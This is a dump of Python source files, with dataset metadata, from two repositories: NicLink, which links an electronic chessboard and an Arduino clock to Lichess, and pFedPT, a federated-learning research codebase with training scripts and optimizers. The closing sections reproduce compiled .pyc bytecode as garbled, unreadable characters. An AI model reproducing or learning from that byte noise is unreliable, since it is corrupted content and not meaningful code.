-> None: """handle when the other person types something in gamechat @param: chat_line - the chat line got from lila @side_effect: changes lights and beep's chess board """ global nl_inst print(chat_line) # signal_lights set's lights on the chess board nl_inst.signal_lights(5) nl_inst.beep() nl_inst.beep() # === helper functions === def show_FEN_on_board(FEN) -> None: """show board FEN on an ascii chessboard @param FEN - the fed to display on a board""" tmp_chessboard = chess.Board() tmp_chessboard.set_fen(FEN) print(f"show_FEN_on_board: \n{tmp_chessboard}") def handle_game_start(game_start: GameStart, chess_clock: bool | ChessClock = False) -> None: """handle game start event @param game_start: Typed Dict containing the game start info @param chess_clock: ase we using an external chess clock? @global berserk_client: client made for ous session with lila @global game: Game class object, global bc has to be accessed everywhere """ global berserk_client, logger, game, nl_inst # check if game speed is correspondence, skip if !--correspondence set if not correspondence: if game_start["game"]["speed"] == "correspondence": logger.info( "skipping correspondence game w/ id: %s\n", game_start["game"]["id"], ) return # signal game start nl_inst.signal_lights(6) logger.info( "\nhandle_game_start(GameStart) enterd w game_start: \n %s\n", str(game_start), ) game_data = LichessGame(game_start["game"]) game_fen = game_data.fen msg = (f"\ngame start received: {str(game_start)}\nyou play: %s" % game_data.colour) print(msg) logger.debug(msg) if game_data.hasMoved: """handle ongoing game""" handle_ongoing_game(game_data) playing_white = game_data.playing_white() try: if game and game.is_alive(): logger.error( "\nERROR: tried to start a new game while game thread is still alive" ) raise NicLinkHandlingGame( "the game thread is still alive, a new game can not be started" ) game = Game( berserk_client, game_data.id, playing_white, starting_fen=game_fen, chess_clock=CHESS_CLOCK, ) game.daemon = True logger.info("|| starting Game thread for game with id: %s\n", game_data.id) game.start() # start the game thread except ResponseError as e: if "This game cannot be played with the Board API" in str(e): print("cannot play this game via board api") log_handled_exception(e) except KeyboardInterrupt: # mak exig good? IDK sys.exit(0) def handle_ongoing_game(game: LichessGame) -> None: """handle joining a game that is already underway""" print("\n$$$ joining game in progress $$$\n") logger.info("joining game in proggress, game: \n %s", game) if game.isMyTurn: print("it is your turn. make a move.") else: print("it is your opponents turn.") def handle_resign(event=None) -> None: """handle ending the game in the case where you resign.""" global logger, game # end the game if event is not None: logger.info("handle_resign entered: event: %s", event) game.game_done(event=event) else: logger.info("handle_resign entered with no event") game.game_done() # entry point def main(): """handle startup, and initiation of stuff""" global berserk_client, nl_inst, REFRESH_DELAY, logger print("=== NicLink lichess main entered ===") simplejson_spec = importlib.util.find_spec("simplejson") if simplejson_spec is not None: print("""ERROR: simplejson is installed. The berserk lichess client will not work with simplejson. Please remove the module. Aborting.""") sys.exit(-1) # init NicLink try: nl_inst = NicLinkManager(refresh_delay=REFRESH_DELAY, logger=logger) nl_inst.start() except ExitNicLink: logger.error("ExitNicLink exception caught in main()") print("Thank's for using NicLink") sys.exit(0) except Exception as err: log_handled_exception(err) print(f"error: {traceback.format_exc()} on NicLink connection.") sys.exit(-1) try: logger.info("reading token from %s", TOKEN_FILE) with open(TOKEN_FILE) as f: token = f.read().strip() except FileNotFoundError: logger.error("ERROR: cannot find token file @ ", ) sys.exit(-1) except PermissionError: logger.error("ERROR: permission denied on token file") sys.exit(-1) try: session = berserk.TokenSession(token) except Exception: e = sys.exc_info()[0] log_handled_exception(e) print(f"cannot create session: {e}") logger.info("cannot create session", e) sys.exit(-1) try: if DEBUG: berserk_client = berserk.Client(session, base_url="https://lichess.dev") else: berserk_client = berserk.Client(session) except KeyboardInterrupt as err: log_handled_exception(err) print("KeyboardInterrupt: bye") sys.exit(0) except Exception: e = sys.exc_info()[0] error_txt = f"cannot create lichess client: {e}" logger.error(error_txt) print(error_txt) sys.exit(-1) # get username try: account_info = berserk_client.account.get() username = account_info["username"] print(f"\nUSERNAME: {username}\n") except KeyboardInterrupt: print("KeyboardInterrupt: bye") sys.exit(0) except Exception: e = sys.exc_info()[0] logger.error("cannot get lichess account info: %s", e) print(f"cannot get lichess account info: {e}") sys.exit(-1) try: # main program loop while True: try: logger.debug("==== lichess event loop start ====\n") print("=== Waiting for lichess event ===") for event in berserk_client.board.stream_incoming_events(): if event["type"] == "challenge": logger.info("challenge received: %s", event) print("\n==== Challenge received ====\n") print(event) elif event["type"] == "gameStart": # wrap the gameStart in a Typed Dict class gameStart = GameStart(event) # and handle getting it started handle_game_start(gameStart) elif event["type"] == "gameFull": logger.info("\ngameFull received\n") handle_resign(event) print("GAME FULL received") # check for kill switch if nl_inst.kill_switch.is_set(): sys.exit(0) logger.info("berserk stream exited") sleep(POLL_DELAY) except KeyboardInterrupt: logger.info("KeyboardInterrupt: bye") try: nl_inst.kill_switch.set() except Exception as err: log_handled_exception(err) finally: raise ExitNicLink("KeyboardInterrupt in __main__") except ResponseError as e: logger.error("Invalid server response: %s", e) if "Too Many Requests for url" in str(e): sleep(10) except NicLinkGameOver: logger.info("NicLinkGameOver excepted, good game?") print( "game over, start another. \nWaiting for lichess event...") handle_resign() except ExitNicLink: print("Have a nice life") sys.exit(0) if __name__ == "__main__": main()
29,249
Python
.py
710
30.591549
239
0.583081
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,625
sending_messages.py
nicvagn_NicLink/nicsoft/lichess/external_clock_firmware/sending_messages.py
import serial import time arduino = serial.Serial(port="/dev/ttyACM0", baudrate=115200, timeout=0.1) def write_read(x): arduino.write(bytes(x, "utf-8")) time.sleep(0.05) data = arduino.readline() return data def send(message: str): """send a message to the external chess clock""" arduino.write(bytes(message, "ascii")) while True: num = input("Enter a number: ") value = write_read(num) print(value)
444
Python
.py
15
25.733333
74
0.689573
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,626
chess_clock.py
nicvagn_NicLink/nicsoft/lichess/external_clock_firmware/old/chess_clock.py
#! /bin/python # lcd_display as a part of Niclink # # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. import serial from time import time from datetime import timedelta import logging # from lichess.__main__ import Game """ snippet from Arduino sketch switch (whatToDo) { case '1': // asking for time if (gameOver) { // if the game is over, do not update ts break; } showTimestamp(); break; case '2': signalGameOver(); break; case '3': // show a str on LED read from Serial printSerialMessage(); break; case '4': // start a new game newGame(); break; case '5': // show the splay niclink_splash(); break; case '6': // white one, and the game is over white_won(); break; case '7': // black won the game black_won(); break; case '8': // game is a draw drawn_game(); break; case '@': //say hello lcd.clear(); lcd.setCursor(1, 0); lcd.print("Hi there"); break; """ TIMEOUT = 100.0 BAUDRATE = 115200 PORT = "/dev/ttyACM0" class ChessClock: """a controlling class to encapsulate and facilitate interaction's with Arduino chess clock. Starts the game time when this object is created """ def __init__( self, game: Game, logger=logging.getLogger("clock"), port=PORT, baudrate=BAUDRATE, timeout=TIMEOUT, ) -> None: """initialize connection with arduino, and record start time""" self.logger = logger self.chess_clock = serial.Serial(port=port, baudrate=baudrate, timeout=timeout) # the time in seconds from epoch that this ChessClock # is created. This will be at the start of a game self.game_start = time() # the game this timer is for self.game = game def update_chess_clock(self) -> None: """keep the external timer displaying correct time. The time stamp should be formatted with both w and b timestamp set up to display correctly on a 16 x 2 LCD""" timestamp = self.create_timestamp() self.logger.info("\nTIMESTAMP: %s \n", timestamp) self.send_string(timestamp) def create_timestamp(self) -> str: timestamp = f"W: { str(self.game.game_state.get_wtime()) } \ B:{ str(self.game.game_state.get_btime()) }" return timestamp def game_over(self) -> None: """Case 2: signal game over, w ASCII 2""" self.chess_clock.write("2".encode("ascii")) def send_string(self, message: str) -> None: """Case 3: send a String to the external chess clock""" self.chess_clock.write("3".encode("ascii")) # tell the clock we want to display a msg self.chess_clock.write(message.encode("ascii")) def new_game(self) -> None: """Case 4: signal clock to start a new game""" self.chess_clock.write("4".encode("ascii")) def show_splash(self) -> None: """Case 5: show the nl splash""" self.chess_clock.write("5".encode("ascii")) def white_won(self) -> None: """Case 6: show that white won""" self.chess_clock.write("6".encode("ascii")) def black_won(self) -> None: """Case 7: show that black won""" self.chess_clock.write("7".encode("ascii")) def drawn_game(self) -> None: """Case 8: show game is drawn""" self.chess_clock.write("8".encode("ascii")) if __name__ == "__main__": print("this is not designed to be run as __main__")
4,194
Python
.py
116
29.646552
239
0.62719
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,627
talking_to_aurdino.py
nicvagn_NicLink/nicsoft/lichess/external_clock_firmware/old/talking_to_aurdino.py
import serial import time arduino = serial.Serial(port="/dev/ttyACM0", baudrate=115200, timeout=0.1) def write_read(x): arduino.write(bytes(x, "utf-8")) time.sleep(0.05) data = arduino.readline() return data def send(message: str): """send a message to the external chess clock""" pass while True: num = input("Enter a number: ") value = write_read(num) print(value)
410
Python
.py
15
23.466667
74
0.685567
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,628
__main__.py
nicvagn_NicLink/nicsoft/niclink_game/__main__.py
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version. # # NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>. # sys stuff import sys import time import logging import logging.handlers import os import sys import argparse import threading import importlib import readchar # debbuging import pdb import traceback # chess stuff import chess.pgn import chess # NicLink shit from niclink import NicLinkManager logger = logging.getLogger("NL game") logger.setLevel(logging.INFO) # create console handler and set level to debug ch = logging.StreamHandler() ch.setLevel(logging.INFO) # create formatter formatter = logging.Formatter("%(name)s - %(levelname)s | %(message)s") # add formatter to ch ch.setFormatter(formatter) # add ch to logger logger.addHandler(ch) class Game(threading.Thread): """a chessgame with stockfish handled in it's own thread""" def __init__(self, NicLinkManager, playing_white, **kwargs) -> None: super().__init__(**kwargs) self.nl_inst = NicLinkManager # bool of if your playing white self.playing_white = playing_white # list of all the game moves self.moves = [] # is the game over? self.game_over = False def check_for_game_over(self) -> None: """check if the game is over""" # is_game_over() will return False or a dictionary with: # {"over": bool, "winner": str or False, "reason": str} over_state = self.nl_inst.is_game_over() if not over_state: # the game is still going return # otherwise, tell the user and exit if over_state["winner"]: winner = "Black" else: winner = "White" print( f"Winner: { winner } reason: {over_state['reason']} \n \ have a nice day." ) sys.exit(0) def handle_human_turn(self) -> None: """Handle a human turn in the game""" global logger logger.info("\n--- human turn ---\n") try: move = ( self.nl_inst.await_move() ) # await move from e-board the move from niclink print(f"move from board: { move }") except KeyboardInterrupt: print("Bye!") sys.exit(0) logger.info(f"move from chessboard { move }") # check if the game is done self.check_for_game_over() def handle_opponent_turn(self) -> None: """handle opponent turn""" global logger logger.info("handle opponent turn") print(f"board after opponent turn:") self.nl_inst.show_game_board() # check for game over self.check_for_game_over() def start(self) -> None: """start playing the game""" # start by turning off all the lights self.nl_inst.turn_off_all_leds() self.run() def run(self) -> None: """run the game thread""" # main game loop while True: if self.playing_white: # if we go first, go first self.handle_human_turn() # do the fish turn self.handle_opponent_turn() if not self.playing_white: # case we are black self.handle_human_turn() def main(): # NicLinkManager nl_inst = NicLinkManager(refresh_delay=2, logger=logger) nl_inst.connect() print("\n%%%%%% NicLink vs x %%%%%%\n") while True: sf_lvl = input("level (1 - 33):") if sf_lvl == "i": print( """I found this online, and stole it: Stockfish 16 UCI_Elo was calibrated with CCRL. # PLAYER : RATING ERROR POINTS PLAYED (%) 1 master-skill-19 : 3191.1 40.4 940.0 1707 55 2 master-skill-18 : 3170.3 39.3 1343.0 2519 53 3 master-skill-17 : 3141.3 37.8 2282.0 4422 52 4 master-skill-16 : 3111.2 37.1 2773.0 5423 51 5 master-skill-15 : 3069.5 37.2 2728.5 5386 51 6 master-skill-14 : 3024.8 36.1 2702.0 5339 51 7 master-skill-13 : 2972.9 35.4 2645.5 5263 50 8 master-skill-12 : 2923.1 35.0 2653.5 5165 51 9 master-skill-11 : 2855.5 33.6 2524.0 5081 50 10 master-skill-10 : 2788.3 32.0 2724.5 5511 49 11 stash-bot-v25.0 : 2744.0 31.5 1952.5 3840 51 12 master-skill-9 : 2702.8 30.5 2670.0 5018 53 13 master-skill-8 : 2596.2 28.5 2669.5 4975 54 14 stash-bot-v21.0 : 2561.2 30.0 1338.0 3366 40 15 master-skill-7 : 2499.5 28.5 1934.0 4178 46 16 stash-bot-v20.0 : 2452.6 27.7 1606.5 3378 48 17 stash-bot-v19.0 : 2425.3 26.7 1787.0 3365 53 18 master-skill-6 : 2363.2 26.4 2510.5 4379 57 19 stash-bot-v17.0 : 2280.7 25.4 2209.0 4378 50 20 master-skill-5 : 2203.7 25.3 2859.5 5422 53 21 stash-bot-v15.3 : 2200.0 25.4 1757.0 4383 40 22 stash-bot-v14 : 2145.9 25.5 2890.0 5167 56 23 stash-bot-v13 : 2042.7 25.8 2263.5 4363 52 24 stash-bot-v12 : 1963.4 25.8 1769.5 4210 42 25 master-skill-4 : 1922.9 25.9 2690.0 5399 50 26 stash-bot-v11 : 1873.0 26.3 2203.5 4335 51 27 stash-bot-v10 : 1783.8 27.8 2568.5 4301 60 28 master-skill-3 : 1742.3 27.8 1909.5 4439 43 29 master-skill-2 : 1608.4 29.4 2064.5 4389 47 30 stash-bot-v9 : 1582.6 30.2 2130.0 4230 50 31 master-skill-1 : 1467.6 31.3 2015.5 4244 47 32 stash-bot-v8 : 1452.8 31.5 1953.5 3780 52 33 master-skill-0 : 1320.1 32.9 651.5 2083 31 credit: https://chess.stackexchange.com/users/25998/eric\n""" ) continue if int(sf_lvl) > 0 and int(sf_lvl) <= 33: break else: print("invalid. Try again") continue print("Do you want to play white? (y/n)") playing_w = readchar.readkey() playing_white = playing_w == "y" game = Game(nl_inst, playing_white, stockfish_level=sf_lvl) print("game started") if playing_white: print("make a move please") game.start() if __name__ == "__main__": main()
6,863
Python
.py
167
34.682635
239
0.591073
nicvagn/NicLink
8
3
0
GPL-3.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,629
main.py
hkgdifyu_pFedPT/system/main.py
#!/usr/bin/env python import sys print(sys.path) import copy import torch import argparse import os print (os.path.expandvars('$HOME')) import time import warnings import numpy as np from torch.nn.functional import dropout import torchvision from flcore.servers.serveravg import FedAvg from flcore.servers.serverpfedpt import PFedPT from flcore.trainmodel.models import * from utils.result_utils import average_data from utils.mem_utils import MemReporter warnings.simplefilter("ignore") def run(args): time_list = [] reporter = MemReporter() model_str = args.model for i in range(args.prev, args.times): print(f"\n============= Running time: {i}th =============") print("Creating server and clients ...") start = time.time() # Generate args.model if model_str == "cnn": if args.dataset == "mnist" or args.dataset == "fmnist": args.model = FedAvgCNN(in_features=1, num_classes=args.num_classes, dim=1024) elif args.dataset == "Cifar10" or args.dataset == "Cifar100": args.model = FedAvgCNN(in_features=3, num_classes=args.num_classes, dim=1600) elif args.dataset[:13] == "Tiny-imagenet" or args.dataset[:8] == "Imagenet": args.model = FedAvgCNN(in_features=3, num_classes=args.num_classes, dim=10816) else: args.model = FedAvgCNN(in_features=3, num_classes=args.num_classes, dim=1600) elif model_str == "vit": if args.dataset == "Cifar10": args.model = VisionTransformer(num_classes=10) elif args.dataset[:13] == "Tiny-imagenet": args.model = VisionTransformer(img_size=64,num_classes=200) else: args.model = VisionTransformer(num_classes=100) else: raise NotImplementedError # select algorithm if args.algorithm == "FedAvg": server = FedAvg(args, i) elif args.algorithm == "PFedPT": if args.dataset == "Tiny-imagenet": args.generator = copy.deepcopy(PadPrompter(inchanel=1, pad_size=args.num_prompt, image_size=64, args=args)) else: args.generator = copy.deepcopy(PadPrompter(inchanel=3, pad_size=args.num_prompt, image_size=32, args=args)) args.model = LocalModel_pt(args.generator, args.model) server = PFedPT(args, i) else: raise NotImplementedError server.train() time_list.append(time.time() - start) print(f"\nAverage time cost: {round(np.average(time_list), 2)}s.") # Global average # average_data(dataset=args.dataset, # algorithm=args.algorithm, # goal=args.goal, # times=args.times, # length=args.global_rounds / args.eval_gap + 1) print("All done!") reporter.report() if __name__ == "__main__": total_start = time.time() parser = argparse.ArgumentParser() # general parser.add_argument('-go', "--goal", type=str, default="test", help="The goal for this experiment") parser.add_argument('-dev', "--device", type=str, default="cuda", choices=["cpu", "cuda"]) parser.add_argument('-did', "--device_id", type=str, default="0") parser.add_argument('-data', "--dataset", type=str, default="Cifar10") parser.add_argument('-nb', "--num_classes", type=int, default=10) parser.add_argument('-m', "--model", type=str, default="cnn") parser.add_argument('-p', "--predictor", type=str, default="cnn") parser.add_argument('-lbs', "--batch_size", type=int, default=10) parser.add_argument('-lr', "--local_learning_rate", type=float, default=0.05, help="Local learning rate") parser.add_argument("--learning_decay", type=float, default=1, help="weight decay") parser.add_argument('--momentum', type=float, default=0.5, help='momentum') parser.add_argument('-gr', "--global_rounds", type=int, default=30) parser.add_argument('-ls', "--local_steps", type=int, default=5) parser.add_argument('-algo', "--algorithm", type=str, default="PFedPT") parser.add_argument('-jr', "--join_ratio", type=float, default=1, help="Ratio of clients per round") parser.add_argument('-nc', "--num_clients", type=int, default=10, help="Total number of clients") parser.add_argument('-np', "--num_prompt", type=int, default=2, help="Size of prompt") parser.add_argument('-pv', "--prev", type=int, default=0, help="Previous Running times") parser.add_argument('-t', "--times", type=int, default=1, help="Running times") parser.add_argument('-eg', "--eval_gap", type=int, default=1, help="Rounds gap for evaluation") parser.add_argument('-dp', "--privacy", type=bool, default=False, help="differential privacy") parser.add_argument('-dps', "--dp_sigma", type=float, default=0.0) parser.add_argument('-sfn', "--save_folder_name", type=str, default='models') # read-data parser.add_argument("--arv1", type=str, default="noniid") parser.add_argument("--arv2", type=str, default="-") parser.add_argument("--arv3", type=str, default="pat") parser.add_argument("--arv4", type=str, default="50") parser.add_argument("--arv5", type=str, default="0.1") parser.add_argument("--arv6", type=str, default="5") # pfedpt parser.add_argument('--pt_learning_rate', type=float, default=20, help='learning rate') parser.add_argument('-pls', "--plocal_steps", type=int, default=5) # practical parser.add_argument('-dep','--depth', type=int, default=6) parser.add_argument('-cdr', "--client_drop_rate", type=float, default=0.0, help="Dropout rate for clients") parser.add_argument('-tsr', "--train_slow_rate", type=float, default=0.0, help="The rate for slow clients when training locally") parser.add_argument('-ssr', "--send_slow_rate", type=float, default=0.0, help="The rate for slow clients when sending global model") parser.add_argument('-ts', "--time_select", type=bool, default=False, help="Whether to group and select clients at each round according to time cost") parser.add_argument('-tth', "--time_threthold", type=float, default=10000, help="The threthold for droping slow clients") args = parser.parse_args() os.environ["CUDA_VISIBLE_DEVICES"] = args.device_id if args.device == "cuda" and not torch.cuda.is_available(): print("\ncuda is not avaiable.\n") args.device = "cpu" print("=" * 50) print("Algorithm: {}".format(args.algorithm)) print("Local batch size: {}".format(args.batch_size)) print("Local steps: {}".format(args.local_steps)) print("Local learing rate: {}".format(args.local_learning_rate)) print("Total number of clients: {}".format(args.num_clients)) print("Clients join in each round: {}".format(args.join_ratio)) print("Client drop rate: {}".format(args.client_drop_rate)) print("Time select: {}".format(args.time_select)) print("Time threthold: {}".format(args.time_threthold)) print("Global rounds: {}".format(args.global_rounds)) print("Running times: {}".format(args.times)) print("Dataset: {}".format(args.dataset)) print("Local model: {}".format(args.model)) print("Using device: {}".format(args.device)) if args.device == "cuda": print("Cuda device id: {}".format(os.environ["CUDA_VISIBLE_DEVICES"])) print("=" * 50) run(args)
7,895
Python
.py
155
42.03871
123
0.614605
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,630
fedoptimizer.py
hkgdifyu_pFedPT/system/flcore/optimizers/fedoptimizer.py
import torch from torch.optim import Optimizer class PerAvgOptimizer(Optimizer): def __init__(self, params, lr): defaults = dict(lr=lr) super(PerAvgOptimizer, self).__init__(params, defaults) def step(self, beta=0): for group in self.param_groups: for p in group['params']: if p.grad is None: continue d_p = p.grad.data if(beta != 0): p.data.add_(other=d_p, alpha=-beta) else: p.data.add_(other=d_p, alpha=-group['lr']) class FEDLOptimizer(Optimizer): def __init__(self, params, lr=0.01, server_grads=None, pre_grads=None, eta=0.1): self.server_grads = server_grads self.pre_grads = pre_grads if lr < 0.0: raise ValueError("Invalid learning rate: {}".format(lr)) defaults = dict(lr=lr, eta=eta) super(FEDLOptimizer, self).__init__(params, defaults) def step(self): for group in self.param_groups: i = 0 for p in group['params']: p.data.add_(- group['lr'] * (p.grad.data + group['eta'] * \ self.server_grads[i] - self.pre_grads[i])) i += 1 class pFedMeOptimizer(Optimizer): def __init__(self, params, lr=0.01, lamda=0.1, mu=0.001): if lr < 0.0: raise ValueError("Invalid learning rate: {}".format(lr)) defaults = dict(lr=lr, lamda=lamda, mu=mu) super(pFedMeOptimizer, self).__init__(params, defaults) def step(self, local_model, device): group = None weight_update = local_model.copy() for group in self.param_groups: for p, localweight in zip(group['params'], weight_update): localweight = localweight.to(device) # approximate local model p.data = p.data - group['lr'] * (p.grad.data + group['lamda'] * (p.data - localweight.data) + group['mu'] * p.data) return group['params'] # class pFedMeOptimizer(Optimizer): # def __init__(self, params, lr=0.01, lamda=0.1 , mu = 0.001): # #self.local_weight_updated = local_weight # w_i,K # if lr < 0.0: # raise ValueError("Invalid learning rate: {}".format(lr)) # defaults = dict(lr=lr, lamda=lamda, mu = mu) # super(pFedMeOptimizer, self).__init__(params, defaults) # def step(self, local_weight_updated, closure=None): # loss = None # if closure is not None: # loss = closure # weight_update = local_weight_updated.copy() # for group in self.param_groups: # for p, localweight in zip( group['params'], weight_update): # p.data = p.data - group['lr'] * (p.grad.data + group['lamda'] * (p.data - localweight.data) + group['mu']*p.data) # return group['params'], loss # def update_param(self, local_weight_updated, closure=None): # loss = None # if closure is not None: # loss = closure # weight_update = local_weight_updated.copy() # for group in self.param_groups: # for p, localweight in zip( group['params'], weight_update): # p.data = localweight.data # #return p.data # return group['params'] class APFLOptimizer(Optimizer): def __init__(self, params, lr): defaults = dict(lr=lr) super(APFLOptimizer, self).__init__(params, defaults) def step(self, beta=1, n_k=1): for group in self.param_groups: for p in group['params']: if p.grad is None: continue d_p = beta * n_k * p.grad.data p.data.add_(-group['lr'], d_p) class PerturbedGradientDescent(Optimizer): def __init__(self, params, lr=0.01, mu=0.0): if lr < 0.0: raise ValueError(f'Invalid learning rate: {lr}') default = dict(lr=lr, mu=mu) super().__init__(params, default) @torch.no_grad() def step(self, global_params, device): for group in self.param_groups: for p, g in zip(group['params'], global_params): g = g.to(device) d_p = p.grad.data + group['mu'] * (p.data - g.data) p.data.add_(d_p, alpha=-group['lr'])
4,348
Python
.py
96
36.9375
131
0.556371
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,631
fedoptimizer.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/optimizers/__pycache__/fedoptimizer.cpython-39.pyc
a fæ`c¸„@shddlZddlmZGddÑdeÉZGddÑdeÉZGddÑdeÉZGd d Ñd eÉZGd d Ñd eÉZdS) ÈN)⁄ Optimizercs&eZdZáfddÑZdddÑZáZS)⁄PerAvgOptimizercs t|dç}tt|Ɇ||°dS©N)⁄lr)⁄dict⁄superr⁄__init__©⁄self⁄paramsr⁄defaults©⁄ __class__©˙x/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/optimizers/fedoptimizer.pyrs zPerAvgOptimizer.__init__rcCsd|jD]X}|dD]J}|jdur"q|jj}|dkrF|jj|| dçq|jj||d dçqqdS)Nr r)⁄other⁄alphar©⁄ param_groups⁄grad⁄data⁄add_)r ⁄beta⁄group⁄p⁄d_prrr⁄step s   zPerAvgOptimizer.step)r©⁄__name__⁄ __module__⁄ __qualname__rr⁄ __classcell__rrr rrs rcs&eZdZdáfddÑ ZddÑZáZS) ⁄ FEDLOptimizerÁ{ÆG·zÑ?NÁöôôôôôπ?csD||_||_|dkr"td†|°ÉÇt||dç}tt|Ɇ||°dS)NÁ˙Invalid learning rate: {})r⁄eta)⁄ server_grads⁄ pre_grads⁄ ValueError⁄formatrrr"r)r r rr(r)r'r r rrrs  zFEDLOptimizer.__init__c Cs`|jD]T}d}|dD]B}|j†|d |jj|d|j||j|°|d7}qqdS)Nrr rr'È)rrrrr(r))r r⁄irrrrrs  ˇˇzFEDLOptimizer.step)r#NNr$rrrr rr"sr"cs&eZdZdáfddÑ ZddÑZáZS) ⁄pFedMeOptimizerr#r$Á¸©Ò“MbP?cs:|dkrtd†|°ÉÇt|||dç}tt|Ɇ||°dS)Nr%r&)r⁄lamda⁄mu)r*r+rrr.r)r r rr0r1r r rrr)szpFedMeOptimizer.__init__cCs|d}|†°}|jD]`}t|d|ÉD]L\}}|†|°}|j|d|jj|d|j|j|d|j|_q$q|dS)Nr rr0r1)⁄copyr⁄zip⁄torr)r Z local_model⁄devicerZ weight_updater⁄ localweightrrrr/s  >zpFedMeOptimizer.step)r#r$r/rrrr rr.(sr.cs&eZdZáfddÑZdddÑZáZS)⁄ APFLOptimizercs t|dç}tt|Ɇ||°dSr)rrr7rr r rrrZs zAPFLOptimizer.__init__r,cCsN|jD]B}|dD]4}|jdur"q|||jj}|j†|d |°qqdS)Nr rr)r r⁄n_krrrrrrr^s    zAPFLOptimizer.step)r,r,rrrr rr7Ys r7cs.eZdZdáfddÑ Ze†°ddÑÉZáZS)⁄PerturbedGradientDescentr#r%cs4|dkrtd|õùÉÇt||dç}tɆ||°dS)Nr%zInvalid learning rate: )rr1)r*rrr)r r rr1⁄defaultr rrrhs z!PerturbedGradientDescent.__init__cCsd|jD]X}t|d|ÉD]D\}}|†|°}|jj|d|j|j}|jj||d dçqqdS)Nr r1r)r)rr3r4rrr)r Z global_paramsr5rr⁄grrrrrps   zPerturbedGradientDescent.step)r#r%)rrr r⁄torch⁄no_gradrr!rrr rr9gsr9)r<Z torch.optimrrr"r.r7r9rrrr⁄<module>s  1
3,891
Python
.py
27
143.074074
419
0.346701
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,632
fedoptimizer.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/optimizers/__pycache__/fedoptimizer.cpython-38.pyc
U îjfc¸„@shddlZddlmZGddÑdeÉZGddÑdeÉZGddÑdeÉZGd d Ñd eÉZGd d Ñd eÉZdS) ÈN)⁄ Optimizercs&eZdZáfddÑZdddÑZáZS)⁄PerAvgOptimizercs t|dç}tt|Ɇ||°dS©N)⁄lr)⁄dict⁄superr⁄__init__©⁄self⁄paramsr⁄defaults©⁄ __class__©ıQD:\‰∫¨‰∏ú\promot\cifar\cifar\Cifar10_iid\system\flcore\optimizers\fedoptimizer.pyrs zPerAvgOptimizer.__init__rcCsd|jD]X}|dD]J}|jdkr"q|jj}|dkrF|jj|| dçq|jj||d dçqqdS)Nr r)⁄other⁄alphar©⁄ param_groups⁄grad⁄data⁄add_)r ⁄beta⁄group⁄p⁄d_prrr⁄step s   zPerAvgOptimizer.step)r©⁄__name__⁄ __module__⁄ __qualname__rr⁄ __classcell__rrr rrs rcs&eZdZdáfddÑ ZddÑZáZS) ⁄ FEDLOptimizerÁ{ÆG·zÑ?NÁöôôôôôπ?csD||_||_|dkr"td†|°ÉÇt||dç}tt|Ɇ||°dS)NÁ˙Invalid learning rate: {})r⁄eta)⁄ server_grads⁄ pre_grads⁄ ValueError⁄formatrrr"r)r r rr(r)r'r r rrrs  zFEDLOptimizer.__init__c Cs`|jD]T}d}|dD]B}|j†|d |jj|d|j||j|°|d7}qqdS)Nrr rr'È)rrrrr(r))r r⁄irrrrrs  ˇˇzFEDLOptimizer.step)r#NNr$rrrr rr"sr"cs&eZdZdáfddÑ ZddÑZáZS) ⁄pFedMeOptimizerr#r$Á¸©Ò“MbP?cs:|dkrtd†|°ÉÇt|||dç}tt|Ɇ||°dS)Nr%r&)r⁄lamda⁄mu)r*r+rrr.r)r r rr0r1r r rrr)szpFedMeOptimizer.__init__cCs|d}|†°}|jD]`}t|d|ÉD]L\}}|†|°}|j|d|jj|d|j|j|d|j|_q$q|dS)Nr rr0r1)⁄copyr⁄zip⁄torr)r Z local_model⁄devicerZ weight_updater⁄ localweightrrrr/s  >zpFedMeOptimizer.step)r#r$r/rrrr rr.(sr.cs&eZdZáfddÑZdddÑZáZS)⁄ APFLOptimizercs t|dç}tt|Ɇ||°dSr)rrr7rr r rrrZs zAPFLOptimizer.__init__r,cCsN|jD]B}|dD]4}|jdkr"q|||jj}|j†|d |°qqdS)Nr rr)r r⁄n_krrrrrrr^s    zAPFLOptimizer.step)r,r,rrrr rr7Ys r7cs.eZdZdáfddÑ Ze†°ddÑÉZáZS)⁄PerturbedGradientDescentr#r%cs4|dkrtd|õùÉÇt||dç}tɆ||°dS)Nr%zInvalid learning rate: )rr1)r*rrr)r r rr1⁄defaultr rrrhs z!PerturbedGradientDescent.__init__cCsd|jD]X}t|d|ÉD]D\}}|†|°}|jj|d|j|j}|jj||d dçqqdS)Nr r1r)r)rr3r4rrr)r Z global_paramsr5rr⁄grrrrrps   zPerturbedGradientDescent.step)r#r%)rrr r⁄torch⁄no_gradrr!rrr rr9gsr9)r<Z torch.optimrrr"r.r7r9rrrr⁄<module>s  1
3,855
Python
.py
27
141.740741
383
0.340559
hkgdifyu/pFedPT
8
3
0
GPL-2.0
